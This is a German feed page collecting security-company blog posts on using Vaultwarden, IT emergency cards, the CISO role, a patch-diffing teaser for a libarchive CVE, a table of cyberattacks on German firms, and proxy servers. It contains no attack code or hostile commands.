❌

Normal view

There are new articles available, click to refresh the page.
Today β€” 30 April 2024Uncategorized

Mastering Security: Wie nutze ich Vaultwarden?

By: kugler
30 April 2024 at 06:56

In einem unserer letzten Blogposts haben wir bereits vorgestellt, wie man die Open Source Version des bekannten Passwortmanagers Bitwarden installiert.

In dem heutigen Beitrag erklΓ€ren wir nun, wie man diesen verwendet.

1.1Β Β Β Β Β  Erstellung eines neuen Passworts

Wenn wir ein neues Passwort speichern wollen oder ein neues Passwort erstellen lassen wollen, klicken wir in unserem Vault auf β€žNewβ€œ > β€žItemβ€œ

Beginnen Sie damit, Ihre Daten in die vorgesehenen Felder einzutragen. Wenn Sie ein Passwort generieren mΓΆchten, klicken Sie einfach auf das β€žLade-Symbolβ€œ oben im Passwortfenster (siehe Pfeil 1 auf dem Beispielbild unten).

Wir kΓΆnnen zudem einen OTP-Token einfΓΌgen, wenn wir diesen fΓΌr den Login auf unserer Website benΓΆtigen.

Wenn wir fertig mit unserem Eintrag sind, kΓΆnnen wir auf β€žSaveβ€œ klicken, um diesen zu speichern.

Der Beitrag ist nun in unserem persΓΆnlichen Vault.

1.2Β Β Β Β Β  Falsches Passwort geΓ€ndert

Sollten wir einen Eintrag in unserem Vaultwarden Γ€ndern, allerdings im Nachhinein feststellen, dass wir den Falschen geΓ€ndert haben, kΓΆnnen wir ΓΌber eine etwas versteckte Funktion die Passwort Historie sehen kΓΆnnen und das alte Passwort wieder einfΓΌgen.

HierfΓΌr klicken wir auf unseren Eintrag und scrollen etwas herunter, bis wir bei den Eintragsinformationen sind:

Wenn wir hier nun auf die kleine 1 neben β€žPassword historyβ€œ klicken, sehen wir die vergangenen PasswortΓ€nderungen und kΓΆnnen so unser altes Passwort wiederherstellen.

1.3Β Β Β Β Β  Erstellung eines Ordners

Um nun die Übersicht über unsere Passwârter nicht zu verlieren, kânnen wir Ordner anlegen. Hierfür klicken wir wieder auf New > Folder.

Hier kΓΆnnen wir unserem Ordner nun einen Namen geben.

Und wie zuvor auf Save klicken.

Wenn wir unseren Eintrag, den wir zuvor erstellt haben, in den Ordner verschieben wollen, ΓΆffnen wir diesen erneut und klicken auf β€žFolderβ€œ und wΓ€hlen in dem Dropdown-MenΓΌ β€žMeine Websiteβ€œ.

1.4Β Β Β Β Β  Erstellung einer Organisation

Szenario: In der Firma β€žMusterFirmaβ€œ gibt es eine Abteilung, die fΓΌr die Bestellung von BΓΌromaterial zustΓ€ndig ist und einen einzigen Account fΓΌr Bestellungen verwendet. Die Passwortverwaltung erfolgt ΓΌber eine Excel-Tabelle, auf die alle Mitarbeiter dieser Abteilung Zugriff haben. Nun beabsichtigt Person A, diese Tabelle an Person B zu senden, hat sich jedoch vertan, und nun hat Person C aus einer anderen Abteilung Zugriff auf diese Zugangsdaten.

FΓΌr ein solches Szenario gibt es Organisationen in Bitwarden. Mit dieser Funktion kΓΆnnen Administratoren festlegen, welche Personen Zugriff auf die PasswΓΆrter einer Abteilung haben, um sicherzustellen, dass Zugangsdaten nicht mehr ΓΌber Teams-Nachrichten oder Excel-Tabellen geteilt werden mΓΌssen.

Eine Organisation erstellt man nun wie folgt:

Wir klicken in unserer Übersicht auf der rechten Seite auf β€žNew organizationβ€œ

Unter dem Namen kΓΆnnen wir nun den Namen unserer Firma oder der Abteilung eintragen. Unter β€žEmailβ€œ fΓΌgen wir die E-Mail-Adresse unseres Accounts ein.

Nun klicken wir auf β€žSubmitβ€œ, um unsere Organisation zu erstellen.
Hier kΓΆnnen wir nun unseren Zugang fΓΌr z.B. die Materialbeschaffung speichern.

1.5Β Β Β Β Β  Zugang zur Organisation

Wenn wir nun unsere Kollegen zu der Organisation hinzufΓΌgen wollen, geht das wie folgt.

Wir klicken wie auf dem Bild gezeigt auf β€žOrganizationsβ€œ

Hier sehen wir den Punkt β€žMembersβ€œ

HierrΓΌber kΓΆnnen wir nun ΓΌber β€ž+ Invite memberβ€œ unsere Kollegen hinzufΓΌgen und einstellen welche Berechtigungen sie haben dΓΌrfen.

Nun mΓΌssen wir noch den eingeladenen Nutzer auswΓ€hlen und diesen BestΓ€tigen:

1.6Β Β Β Β Β  Sammlung innerhalb einer Organisation

Wenn wir eine neue Sammlung innerhalb einer Organisation erstellen wollen, kΓΆnnen wir das wie folgt machen:

Wir klicken auf unsere β€žOrganisationβ€œ und auf β€žNewβ€œ, hier wΓ€hlen wir nun β€žCollectionβ€œ

Diese Kollektion kΓΆnnen wir nun benennen, z.B. β€žPapier Beschaffungs-Accountsβ€œ

Unter Access kΓΆnnen wir die Mitarbeiter berechtigen, welche diese Logins brauchen.

Wichtig anzumerken ist, dass nur der Ersteller der Organisation eine neue Collection erstellen kann.

1.7Β Β Β Β Β  Enforce MFA

Um den Login zu den PasswΓΆrtern sicherer zu machen, kΓΆnnen wir MFA (Multi Faktor Authentication) verpflichtend einfΓΌhren. HierfΓΌr mΓΌssen wir in dem Account, in dem wir die Organisation verwalten, auf β€žOrganizationsβ€œ klicken und anschließend zu β€žSettingsβ€œ>β€œPoliciesβ€œ>β€œRequire two-step loginβ€œ navigieren.

Hier klicken wir nun β€žTurn onβ€œ und anschließend β€žSaveβ€œ

1.7.1Β Β Β  Aktivierung MFA

Wenn Nutzer nun diese Organisation nutzen wollen, mΓΌssen sie MFA bei sich aktiviert haben. HierfΓΌr mΓΌssen Sie zunΓ€chst auf den Haken neben Ihrem Account-Icon klicken.

Dann in Ihre Account Einstellungen:

Hier dann zu β€žSecurityβ€œ>β€œTwo-step loginβ€œ>β€œAuthenticator appβ€œ

Nun geben wir unser Account-Passwort ein und klicken auf β€žContinueβ€œ

Hier mΓΌssen wir jetzt mit einer Authenticator-App unserer Wahl den QR-Code abscannen und den daraus generierten OTP-Token eingeben.

Nun kann der Mitarbeiter die Organisation wieder nutzen, welche zuvor MFA eingefΓΌhrt hat.

1.8Β Β Β Β Β  Registrierung nur fΓΌr Interne

Als Administrator kΓΆnnen wir Einstellen, dass sich keine Dritten registrieren dΓΌrfen.
HierfΓΌr mΓΌssen wir im Admin-Panel das folgende einstellen:

Wir klicken zunΓ€chst auf β€žSettingsβ€œ und anschließend auf den Unterpunkt β€žGeneral settingsβ€œ

Hier entfernen wir dann bei dem Punkt β€žAllow new signupsβ€œ das β€žHΓ€kchenβ€œ

1.8.1Β Β Β  Nutzer einladen

Da wir das selbst Registrieren deaktiviert haben, mΓΌssen wir nun Nutzer hΓ€ndisch einladen. Das funktioniert im Admin-Panel unter β€žUsersβ€œ und β€žInvite Userβ€œ

Wenn wir hier nun Nutzer einladen, kΓΆnnen sich diese registrieren.

1.9Β Β Β Β Β  Automatisches AusfΓΌllen auf Website

Wenn wir auf einer Website mit einem Login sind, welche wir uns schon zuvor als Eintrag angelegt haben, kΓΆnnen wir den Login automatisch ausfΓΌllen lassen.

Wenn wir in das Login Fenster bei z.B. LinkedIn klicken und auf unsere Browser Extension, mΓΌssen wir nur auf den entsprechenden Eintrag klicken, um ihn automatisch ausfΓΌllen zu lassen:

1.10       Übermittlung von Dateien

Eine weitere sehr nützliche Funktion von Vaultwarden ist, dass wir Dateien bis zu einer Grâße von 500MB teilen kânnen.

HierfΓΌr klicken wir in unserer Übersicht auf β€žSendβ€œ > β€ž+ New Sendβ€œ

Hier kΓΆnnen wir dem Upload einen Namen geben und eine Datei zum Teilen wΓ€hlen.

Unter β€žOptionsβ€œ haben wir noch weitere Einstellungsoptionen, wie z.B. dass nach einer gewissen Zeit der Link zur teilenden Datei ablΓ€uft.

Über β€žCopy Send linkβ€œ kΓΆnnen wir diese Datei nun mit z.B. Kollegen teilen.

1.11Β Β Β Β Β  Β Fazit

Wir hoffen, diese Anleitung hilft Ihnen weiter. FΓΌr weitere Informationen wie z.B. Nutzerverwaltung empfehlen wir die offizielle Seite von Bitwarden, da die Anleitungen gut verstΓ€ndlich sind und die Einstellungen, die hier vorgenommen werden kΓΆnnen, auch auf unseren Vaultwarden ΓΌbertragbar sind.

Der Beitrag Mastering Security: Wie nutze ich Vaultwarden? erschien zuerst auf HanseSecure GmbH.

Before yesterdayUncategorized

IT-Notfallkarte

25 March 2024 at 21:42

Ein Notfall und was ist jetzt zu tun?

Notfallkarten geben uns in unsicheren oder kritischen Situationen eine Richtline. Durch die IT-NOTFALLKARTE der HanseSecure erhalten alle Nutzer eine kompakte Handlungsanweisung.

Außerdem wird die Security Awareness des Unternehmens unimttelbar erhâht. Durch das begleitete Handeln erfahren sie Sicherheit und schützen sich und andere direkt vor weiteren fehlerhaften Entscheidungen und kânnen die Ausweitung der Konsequenzen verhindern.

Gerade IT- NotfΓ€lle benΓΆtigen eine direkte und begleitete Handlungsrichtline, um so weitreichende Folgen zu verhindern. DarΓΌber hinaus gilt es die Angst vor Fehlern zu nehmen, zu sensibilisieren und die Meldung von AuffΓ€lligkeiten zu bestΓ€rken. Die IT-NOTFALLKARTE sollte daher an in jedem BΓΌro sichtbar angebracht und eine erklΓ€rende EinfΓΌhrung gegeben werden.

Der Beitrag IT-Notfallkarte erschien zuerst auf HanseSecure GmbH.

Die Rolle des CISO in der modernen Unternehmenssicherheit

By: kugler
15 March 2024 at 12:52

In einer Zeit, in der digitale Bedrohungen und Cyberangriffe zunehmen, wird die Rolle des Chief Information Security Officers (CISO) in Unternehmen immer wichtiger. Doch was genau macht ein CISO, und warum ist seine Position so entscheidend fΓΌr die Sicherheit eines Unternehmens?

Die Bedeutung des CISO

Der CISO ist der oberste Verantwortliche fΓΌr IT- und Cybersicherheit in einem Unternehmen. WΓ€hrend in den USA diese Position weit verbreitet ist, ist sie hierzulande noch eher die Ausnahme. Dennoch wird zunehmend klar, dass Unternehmen, die keine klare Verantwortlichkeit fΓΌr IT-Sicherheit definieren, sich selbst unnΓΆtigen Risiken aussetzen.

Die Aufgaben des CISO

Die Kernaufgaben eines CISOs umfassen die AbwÀgung von Chancen und Risiken im Rahmen der Digitalisierung des Unternehmens. Dies beinhaltet den Schutz vor dem Verlust sensibler Informationen an Dritte sowie die Minimierung der Auswirkungen von IT-SystemausfÀllen. Ein effektiver CISO muss daher nicht nur technisches Know-how besitzen, sondern auch die FÀhigkeit, komplexe Sachverhalte verstÀndlich zu vermitteln und Sicherheitsmaßnahmen gegen mâglichen Widerstand durchzusetzen.

Unterschiede zu anderen Sicherheitspositionen

Es ist wichtig, zwischen verschiedenen Sicherheitspositionen wie dem Chief Security Officer (CSO) und dem Chief Information Officer (CIO) zu unterscheiden. WΓ€hrend der CIO die strategische Richtung der Digitalisierung bestimmt, sind CSO und CISO fΓΌr das Risikomanagement und der CISO speziell fΓΌr die IT-Sicherheit zustΓ€ndig. Eine klare Trennung und Spezialisierung dieser Aufgaben sind entscheidend fΓΌr eine effektive Sicherheitsstrategie.

Die Herausforderungen fΓΌr CISOs

Eine der grâßten Herausforderungen für CISOs besteht darin, das Vertrauen der Unternehmensleitung und der Mitarbeiter zu gewinnen. Oftmals sind CISOs nicht direkt in die Entscheidungsprozesse eingebunden und ihre Botschaften werden durch verschiedene Ebenen der Kommunikation verwÀssert. Dennoch ist es entscheidend, dass der CISO Zugang zur Führungsebene hat und als Bindeglied zwischen IT, Fachbereichen und Top-Management agieren kann.

Die Bedeutung von Schulungen und Weiterbildungen

ZusΓ€tzlich zu den technischen FΓ€higkeiten ist kontinuierliche Weiterbildung fΓΌr CISOs und ihr Team unerlΓ€sslich. Die sich stΓ€ndig weiterentwickelnde Landschaft der Cybersicherheit erfordert ein fortlaufendes Lernen und Anpassen an neue Bedrohungen und Technologien. Zertifizierungen wie CISSP (Certified Information Systems Security Professional) oder CISM (Certified Information Security Manager) kΓΆnnen dabei helfen, Fachwissen und Kompetenzen zu validieren.

Entwicklung und Umsetzung von Sicherheitsrichtlinien

Ein weiterer wichtiger Aspekt der Arbeit eines CISOs ist die Entwicklung und Umsetzung von Richtlinien und Verfahren für die Informationssicherheit. Dies umfasst die Erstellung von Sicherheitsrichtlinien, die Überwachung der Einhaltung dieser Richtlinien sowie die Durchführung von Sicherheitsaudits und -tests, um Schwachstellen zu identifizieren und zu beheben.

Zusammenarbeit mit externen Partnern

CISOs arbeiten oft mit externen Partnern wie Regierungsbehârden, Strafverfolgungsbehârden und anderen Unternehmen zusammen, um Informationen über aktuelle Bedrohungen auszutauschen und gemeinsam an der Verbesserung der Cybersicherheit zu arbeiten. Diese Zusammenarbeit kann dazu beitragen, die Sicherheitsmaßnahmen eines Unternehmens zu stÀrken und potenzielle Angriffe zu vereiteln.

Fazit

In einer Welt, in der Cyberbedrohungen allgegenwΓ€rtig sind, ist die Rolle des CISO unverzichtbar fΓΌr Unternehmen, die ihre Daten und Systeme schΓΌtzen mΓΆchten. Durch eine klare Definition der Verantwortlichkeiten, kontinuierliche Weiterbildung und enge Zusammenarbeit mit anderen Sicherheitspartnern kΓΆnnen CISOs dazu beitragen, die Sicherheitslage eines Unternehmens zu verbessern und es vor potenziell katastrophalen Folgen von Cyberangriffen zu bewahren.

Durch die BerΓΌcksichtigung dieser Punkte kann ein Unternehmen sicherstellen, dass es gut aufgestellt ist, um den stetig wachsenden Herausforderungen in der digitalen Welt zu begegnen.

Falls Du den Bedarf eines CISOs bei Euch im Unternehmen erkannt hast, kΓΆnnen wir dich zu diesem Thema gerne ausfΓΌhrlicher beraten, oder als CISOaaS deine Sorgen direkt lΓΆsen. Buch dir jetzt ein kostenloses ErstgesprΓ€ch!

Der Beitrag Die Rolle des CISO in der modernen Unternehmenssicherheit erschien zuerst auf HanseSecure GmbH.

Patch Tuesday Diffing: CVE-2024-20696 - Windows Libarchive RCE

11 March 2024 at 04:45
TL;DR This post will teach you how to patch diff CVE-2024-20696 (and indirectly CVE-2024-20697) from the January 2024 Patch Tuesday. This security patch was interesting as it wasn’t fixing native Microsoft software per se, rather patching an open-source library libarchive used by Windows to support compression and decompression functionality. Patch diffing is a powerful technique for unde...

Die alarmierende Zunahme von Cyberangriffen: Warum jedes Unternehmen gefΓ€hrdet ist

By: kugler
1 March 2024 at 08:49

Cyberangriffe sind lΓ€ngst nicht mehr nur ein Problem fΓΌr große Unternehmen oder Organisationen im Fokus der Γ–ffentlichkeit. Auch mittelstΓ€ndische Unternehmen und scheinbar unbedeutende Branchen sind zunehmend im Visier von Cyberkriminellen. Die jΓΌngsten Zahlen belegen eine alarmierende Zunahme von Angriffen auf Unternehmen jeder Grâße und Branche.

Kein Unternehmen ist zu klein oder zu unbedeutend

Viele Unternehmen mΓΆgen glauben, dass ihre Sicherheitsmaßnahmen ausreichen oder dass sie aufgrund ihrer Grâße oder Branche nicht attraktiv fΓΌr Hacker sind. Diese Annahmen sind jedoch gefΓ€hrlich falsch. Jedes Unternehmen, unabhΓ€ngig von seiner Grâße oder Branche, besitzt wertvolle Daten, die fΓΌr Cyberkriminelle von Interesse sind. Sei es Kundendaten, geistiges Eigentum oder sensible GeschΓ€ftsinformationen – fΓΌr Hacker gibt es keine zu kleinen oder unwichtigen Ziele.

Die verheerenden Folgen von Cyberangriffen

Die Auswirkungen von Cyberangriffen kânnen verheerend sein. Im Jahr 2023 wurden mehr als 58 deutsche Unternehmen Opfer von Cyberattacken, wobei die Dunkelziffer vermutlich noch hâher liegt. Die meisten Angriffe erfolgten mittels Ransomware, was zu Betriebsstârungen, Umsatzeinbußen, hohen Kosten für die Datenwiederherstellung und ReputationsschÀden führte.

Die Bedrohung im Jahr 2024

Auch im Jahr 2024 ist die Gefahr durch Cyberkriminelle hoch. Eine Vielzahl deutscher Unternehmen wurde bereits Opfer von Cyberangriffen, darunter namhafte Unternehmen wie ODAV AG und Transdev. Die Liste der betroffenen Unternehmen ist lang und reicht vom Mittelstand bis hin zu kritischen Infrastrukturen.

Die Notwendigkeit einer robusten Sicherheitsstrategie

Angesichts dieser Bedrohungslage ist es unerlÀsslich, dass Unternehmen eine robuste Sicherheitsstrategie implementieren. Dazu gehârt nicht nur die Investition in technische Sicherheitsmaßnahmen wie Firewalls und Antivirensoftware, sondern auch die Sensibilisierung der Mitarbeiter für das Thema Cybersicherheit und die Implementierung von Sicherheitsrichtlinien und Verfahren.

Fazit

Die zunehmende Zahl von Cyberangriffen macht deutlich, dass kein Unternehmen immun gegen Cyberbedrohungen ist. Es ist von entscheidender Bedeutung, dass Unternehmen aller Grâßen und Branchen die Bedrohung ernst nehmen und proaktiv Maßnahmen ergreifen, um sich vor Cyberangriffen zu schützen. Nur so kânnen sie ihre Daten, ihre Systeme und ihre GeschÀftskontinuitÀt langfristig sichern.

UnternehmenWannWasQuelle
ODAV AGJanuar 24CSO
TransdevJanuar 24CSO
Junghans-Wolle/ Pro IdeeDezember 23RansomwareCSO
Allgaier AutomotiveDezember 23filstalwelle.de
Erfo BekleidungswerkDezember 23RansomwareCSO
KaDeWeNovember 23RansomwareCSO
Bauer AGCSO
SΓΌdwestfalen ITOktober 23RansomwareCSO
Motel OneOktober 23RansomwareCSO
HΓ€ffnerOktober 23RansomwareExplodingsecurity
HochsauerlandWasser, Hochsauerland EnergieSeptember/Oktober2023RansomwareCSO
degenia Versicherungsdienst AGSeptember/Oktober 2023CSO
MedgateAugust/September 2023Medgate
Kendrion Kuhnke MalenteAugust 23CSO
Trinkwasserverband StadeAugust 23CSO
WildeboerJuli 23RansomwareCSO
SoftProjektJuli 23RansomwareSoftProjekt
IT-Dienstleister der BarmerJuni 23Software-SchwachstelleCSO
VerivoxJuni 23Software-SchwachstelleCSO
Medizinischer DienstJuni 23CSO
Deutsche LeasingJuni 23CSO
Verlagsgruppe VRMMai 23CSO
Hosting-Dienstleister von DenaMai 23RansomwareCSO
United HosterMai 23RansomwareCSO
Dienstleister von Heineking MediaMai 23CSO
Black Cat NetworksMai 23RansomwareCSO
GITAIMai 23RansomwareCSO
Maxim GroupMai 23RansomwareCSO
Lux AutomationRansomwareCSO
Bilstein GruppeApril 23RansomwareCSO
StΓΌrtz MaschinenbauApril 23RansomwareDSGVO Portal
Badische StahlwerkeApril 23CSO
JobradRansomwareCSO
BitmarckApril 23CSO
LΓΌrssenApril 23RansomwareCSO
EvotecApril 23CSO
ÜstraMÀrz 23CSO
BIG direktMΓ€rz 23Ruhr Nachrichten
MaternaMΓ€rz 23CSO
SAF HollandMΓ€rz 23CSO
MatthΓ€iMΓ€rz 23RansomwareCSO
Energieversorgung FilstalMΓ€rz 23DDoSCSO
Rheinmetall, NWMΓ€rz 23DDoSCSO
Steico, BYMΓ€rz 23n.a.CSO
Smart InsurTech, BEFebruar 23n.a.Smart InsurTech
Albert Ziegler, BWFebruar 23n.a.CSO
Unternehmen in Bayern, BYFebruar 23RansomwarePolizei Bayern
Kapellmann und Partner RechtsanwΓ€lte, NWFebruar 23RansomwareKapellmann
HΓ€fele, BWFebruar 23RansomwareCSO
Stadtwerke Karlsruhe, BWFebruar 23RansomwareCSO
DΓΌrr, BWFebruar 23n.a.CSO
Bayerischer Rundfunk, BYFebruar 23PhishingCSO
Geze, BWFebruar 23n.a.Geze
Wisag Dienstleistungsholding, HEFebruar 23n.a.Frankfurter Allgemeine Zeitung
Flughafen Hamburg, HHJanuar 23DDoSHamburger Abendblatt
PlΓΌsch-Tierheim, NWJanuar 23n.a.CSO
Sky Deutschland, BYJanuar 23n.a.Digital Fernsehen
Bitmarck, NWJanuar 23n.a.CSO
Fritzmeier Group, BYJanuar 23n.a.CSO
Adesso, NWJanuar 23n.a.CSO
Unternehmen in Kaiserslautern, RPJanuar 23Social EngineeringCSO
IBB Business Team, BEDezember 22RansomwareIBB Business Team
SSI SchΓ€fer Shop, RPDezember 22n.a.SchΓ€fer Shop LinkedIn
Thyssenkrupp, NRWDezember 22n.a.CSO
H-Hotels, HEDezember 22n.a.H-Hotels
Meyer & Meyer, NIDezember 22n.a.CSO
Rosenschon Partnerschaft, BYDezember 22n.a.Bayreuter Tagblatt
Deutsche Klassenlotterie Berlin, BEDezember 22n.a.Berliner Kurier
Land Brandenburg Lotto, BBDezember 22n.a.RBB 24
Lotto-Toto Sachsen-Anhalt, STDezember 22n.a.MDR
Nordwest Lotto Schleswig-Holstein, SHDezember 22n.a.Focus
Lotto Rheinland-Pfalz, RPDezember 22n.a.SWR
Technolit, HEDezember 22n.a.Technolit Facebook
T-Mobile, NWNovember 22n.a.CSO
Landau Bedia, BENovember 22n.a.Landau Media
Bisping & Bisping, BYNovember 22n.a.NΓΌrnberger Nachrichten
Richard Wolf, BWNovember 22RansomwareRichard Wolf
Prophete, NWNovember 22n.a.CSO
Oase, NRWOktober 22n.a.Oase
Aurubis, HHOktober 22n.a.CSO
Enercity, NIOktober 22n.a.CSO
Deutsche Presse Agentur, HHOktober 22RansomwareCSO
Metro, NRWOktober 22n.a.CSO
Heilbronner Stimme, BWOktober 22RansomwareCSO
Wilken Software Group, BWOktober 22RansomwareCSO
Convista, NRWOktober 22Zero DayConvista
Hipp, BYOktober 22n.a.BR24
Caritasverband MΓΌnchen und Freising, BYSeptember 22RansomwareCSO
Elabs, HEAugust 22n.a.Elabs
Medi, BYAugust 22n.a.CSO
IHK, deutschlandweitAugust 22DDoSCSO
Semikron, BYAugust 22RansomwareCSO
Continental, NIAugust 22n.a.CSO
Autodoc, BEAugust 22n.a.Skoda Community
Saller-Bau, THAugust 22n.a.ThΓΌringer Allgemeine
Ista, NWJuli 22n.a.CSO
ASG, NIJuli 22n.a.CSO
WeidmΓΌller, NWJuli 22n.a.Neue WestfΓ€lische
Helinet, NWJuli 22DDoSWestfΓ€lischer Anzeiger
Knauf, BYJuni 22n.a.Knauf
Bizerba, BWJuni 22n.a.SchwarzwΓ€lder Bote
Apetito, NWJuni 24n.a.CSO
Count + Care, HEJuni 24RansomwareWissenschaftsstadt Darmstadt
Bauverein, HEJuni 24RansomwareFrankfurter Rundschau
Heag und Heag Mobilo, HEJuni 22RansomwareFrankfurter Rundschau
FES, HEJuni 22RansomwareCSO
Entega, HEJuni 22RansomwareCSO
Stadtreinigung Kassel, HEJuni 22n.a.Welt
SDZ Druck und Medien, BWMai 22n.a.SchwΓ€bische Post
Jakob Becker, RPMai 22RansomwareCSO
Posteo, BEMai 22DDoSCSO
AGCO, BYMai 22RansomwareAGCO
Ludwig Freytag,NIMai 22RansomwareNDR
CWS, NWMai 22n.a.Westfalen Blatt
Sixt, BYApril 22n.a.CSO
Donau Stadtwerke Dillingen-Lauingen, BYApril 22n.a.Augsburger Allgemeine
Reitzner, BYApril 22n.a.Augsburger Allgemeine
AHS, HHApril 22n.a.Airliners
IMA Schelling Group, NWApril 22n.a.Neue WestfΓ€lische
Deutsche Windtechnik, HBApril 22RansomwareCSO
Perbit, NWApril 22RansomwareCSO
KSB, STApril 22n.a.rheinpfalz.de
Fraunhofer-Institut, STApril 22RansomwareCSO
TÜV Nord Group, NIApril 22n.a.TÜV Nord Group
Nordex, HHMΓ€rz 22n.a.Nordex
Welcome Hotels, HEMΓ€rz 22n.a.Welcome Hotels
Stollwerck, THMΓ€rz 22n.a.MDR
Elobau, BWMΓ€rz 22RansomwareElobau
Bauking, NWMΓ€rz 22RansomwareWestfalenpost
Rosneft, BEMΓ€rz 22n.a.Welt
TST, RPMΓ€rz 22n.a.SWR
TrΓΌtzschler, NWMΓ€rz 22RansomwareWDR
Funke Mediengruppe, NWFebruar 22BotsDie Zeit
Klopotek, BEFebruar 22RansomwareCSO
Schultze & Braun Rechtsanwaltsgesellschaft, BWFebruar 22Zero DaySchultze & Braun
Otto DΓΆrner, HHFebruar 22RansomwareSVZ
Wisag Dienstleistungsholding, HEJanuar 22n.a.Wisag
Golfclub Hofgut Praforst, HEJanuar 22RansomwareΒ­Β­Β­Osthessen News
Thalia BΓΌcher, NWJanuar 22Brute ForceTarnkappe
Unfallkasse ThΓΌringen, THJanuar 22RansomwareUnfallkasse ThΓΌringen
Oiltanking GmbH, HHJanuar 22n.a.Handelsblatt
Hacks an Deutschen Unternehmen, 2022-2024

Jedes Unternehmen ist gefÀhrdet, unabhÀngig von seiner Grâße. Wenn Sie wissen mâchten, wie Sie nicht zukünftig auf dieser Liste landen, vereinbaren sie ein kostenloses ErstgesprÀch!

Der Beitrag Die alarmierende Zunahme von Cyberangriffen: Warum jedes Unternehmen gefΓ€hrdet ist erschien zuerst auf HanseSecure GmbH.

Proxies: Die unsichtbaren Helfer des Internetverkehrs

By: kugler
15 February 2024 at 10:29

Warum ein Reverse Proxy ein Muss fΓΌr Ihre IT-Sicherheit ist

TL;DR:

Proxy-Server fungieren als Vermittler zwischen Clients und Servern, verbessern die Sicherheit, optimieren die Leistung und ermΓΆglichen eine effiziente Ressourcennutzung. Es gibt zwei Hauptarten: Forward-Proxys, welche ausgehenden Verkehr von Clients zum Internet routen und Reverse-Proxys, welche eingehenden Verkehr von Clients zu Backend-Servern lenken.

Was ist ein Forward-Proxy:

Ein Forward-Proxy ist ein Server, der zwischen Clients und dem Internet positioniert ist und den ausgehenden Verkehr der Clients routet. Dieser agiert im Namen der Clients, indem er deren Anfragen weiterleitet und ihre IdentitΓ€t verbirgt. Dadurch ermΓΆglicht der Forward-Proxy die Kontrolle des Internetzugriffs, die Durchsetzung von Sicherheitsrichtlinien und die Verbesserung der PrivatsphΓ€re.

In einer herkΓΆmmlichen Internetkommunikation wenden sich Benutzer (User A & User B) an den Server (Server A & B), indem sie Anfragen direkt an diese senden und von ihnen Antworten erhalten. Wenn jedoch ein Forward Proxy eingerichtet ist, senden Benutzer ihre Anfragen stattdessen zuerst an diesen Proxy. Der Forward Proxy leitet dann die Anfrage an die entsprechenden Server weiter und empfΓ€ngt von ihnen die Antworten, die er dann an die Benutzer zurΓΌcksendet.

Was ist ein Reverse-Proxy

Ein Reverse-Proxy ist ein Server, welcher vor Backend-Servern positioniert ist und den eingehenden Verkehr von Clients an diese Server weiterleitet. Dieser fungiert als Vermittler zwischen den Clients und den Backend-Servern, verbessert die Sicherheit, optimiert die Lastverteilung und bietet Funktionen wie SSL-Terminierung und Caching.

Normalerweise kommunizieren Benutzer (User A & B) direkt mit Servern (Server A & B), wobei Anfragen von den Benutzern an die Server gesendet werden und die Server direkt antworten. Wenn jedoch, ein Reverse-Proxy verwendet wird, gehen alle Benutzeranfragen zuerst an den Reverse-Proxy. Dieser leitet die Anfragen an die Server weiter und empfÀngt die Antworten. Anschließend leitet der Proxy die entsprechenden Antworten zurück an die Benutzer.

Unterschiede zwischen Forward und Reverse Proxy:

Die Hauptunterschiede liegen in ihrer Ausrichtung und Funktionsweise: Ein Forward-Proxy leitet den Verkehr von innen nach außen weiter, wÀhrend ein Reverse-Proxy den Verkehr von außen nach innen lenkt.

Forward-Proxys werden typischerweise von ClientgerΓ€ten verwendet, um auf das Internet zuzugreifen, wΓ€hrend Reverse-Proxys hΓ€ufig in Serverinfrastrukturen eingesetzt werden, um den eingehenden Verkehr zu verwalten.

Einsatzgebiete des Reverse Proxy:

GrundsΓ€tzlich dient ein Reverse Proxy als zusΓ€tzliche Sicherheitsschicht, um Angriffe abzuwehren, sensible Daten zu schΓΌtzen und ZugriffsbeschrΓ€nkungen zu implementieren.

  • FlexibilitΓ€t bei der Authentifizierungsmethode
    Der Reverse Proxy ermΓΆglicht die Implementierung verschiedener Authentifizierungsmethoden wie HTTP Basic Auth, Digest Auth, OAuth, LDAP-Integration usw. Je nach den Anforderungen der Anwendung und den Sicherheitsrichtlinien des Unternehmens kΓΆnnen geeignete Authentifizierungsmethoden ausgewΓ€hlt und konfiguriert werden.
  • Verzeichnisse sperren
    Durch die Konfiguration des Reverse Proxys kΓΆnnen bestimmte Verzeichnisse oder Dateien auf dem Server hinter dem Proxy gesperrt werden, um unerwΓΌnschten Zugriff zu verhindern und sensible Informationen zu schΓΌtzen.
  • IP-Eingrenzung
    Der Reverse Proxy kann den Zugriff basierend auf IP-Adressen einschrΓ€nken, um nur bestimmten IP-Bereichen oder vertrauenswΓΌrdigen Quellen den Zugriff zu gestatten und potenzielle Angreifer abzuwehren.
  • SSL-Terminierung und Caching
    Der Reverse-Proxy kann SSL/TLS-EntschlΓΌsselung durchfΓΌhren und hΓ€ufig angeforderte Inhalte zwischenspeichern, um die Antwortzeiten zu verbessern.
  • Einfache Konfiguration und Skalierbarkeit
    Die Implementierung von Authentifizierung auf Ebene des Reverse Proxys erleichtert die Konfiguration und Skalierung der Sicherheitsinfrastruktur. Da der Proxy die Anfragen abfΓ€ngt, kΓΆnnen Sicherheitsrichtlinien und Authentifizierungseinstellungen zentral verwaltet und auf alle eingehenden Anfragen, unabhΓ€ngig von den dahinterliegenden Servern, angewendet werden.
  • Schutz vor Angriffen und Missbrauch
    Der Reverse Proxy schΓΌtzt die Backend-Server vor Brute-Force-Angriffen, unbefugtem Zugriff und anderen Formen von Missbrauch. Durch die Verwendung von Captchas, Zwei-Faktor-Authentifizierung und anderen Sicherheitsmechanismen kann die Sicherheit weiter erhΓΆht werden.
  • Load Balancing
    Einige Reverse-Proxys kΓΆnnen auch als Lastenausgleich fungieren und den Datenverkehr auf mehrere Server verteilen. Dies kann sicherstellen, dass kein einzelner Server ΓΌberlastet wird und Benutzeranfragen ohne VerzΓΆgerung bearbeitet werden kΓΆnnen.

Warum sich der Einsatz fΓΌr Ihr Unternehmen lohnt:

  • Ihr Unternehmen profitiert von der verbesserten Sicherheit, Leistung und Skalierbarkeit, die ein Reverse-Proxy bietet.
  • Sie kΓΆnnen ihre Serverressourcen effizienter nutzen, Angriffe abwehren und die Benutzererfahrung verbessern.
  • Durch die Implementierung eines Reverse-Proxys kΓΆnnen Unternehmen ihren IT-Sicherheitsstandard erhΓΆhen und somit auch die Kundenzufriedenheit steigern.

Bei der Implementierung unterstΓΌtzen wir sie jederzeit.

Ausblick:

In unserem nΓ€chsten Blog-Beitrag beleuchten wir, wie Sie ganz einfach und kostenlos Ihren eigenen Reverse Proxy Server einrichten. Das dΓΌrfen Sie nicht verpassen!

